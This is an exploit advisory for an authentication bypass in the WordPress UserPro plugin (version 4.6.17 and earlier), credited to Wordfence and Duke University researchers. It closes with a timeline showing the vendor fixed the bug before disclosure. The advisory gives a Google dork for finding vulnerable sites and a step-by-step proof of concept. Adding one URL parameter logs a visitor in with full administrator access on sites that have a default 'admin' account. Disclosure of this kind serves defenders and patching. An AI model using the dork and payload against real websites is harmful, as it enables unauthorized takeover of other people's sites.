WordPress UserPro 4.6.17 Authentication Bypass

`# Exploit Title: Userpro a WordPress Plugin a Authentication Bypass  
# Google Dork: inurl:/plugins/userpro  
# Date: 11.04.2017  
# Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University)  
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9  
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9  
# Version: <= 4.6.17  
# Tested on: Wordpress 4.8.3  
# CVE : requested, not assigned yet.  
  
Description  
================================================================================  
The userpro plugin has the ability to bypass login authentication for the user  
'admin'. If the site does not use the standard username 'admin' it is not affected.  
  
PoC  
================================================================================  
1 - Google Dork inurl:/plugins/userpro  
  
2 - Browse to a site that has the userpro plugin installed.  
  
3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true  
  
4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site. You are now logged in  
will full administrator access.  
================================================================================  
  
10/25/2017 a Wordfence notified of issue by Iain Hadgraft.  
10/26/2017 a Vendor resolved the issue in the plugin.  
11/04/2017 - Disclosure.  
  
`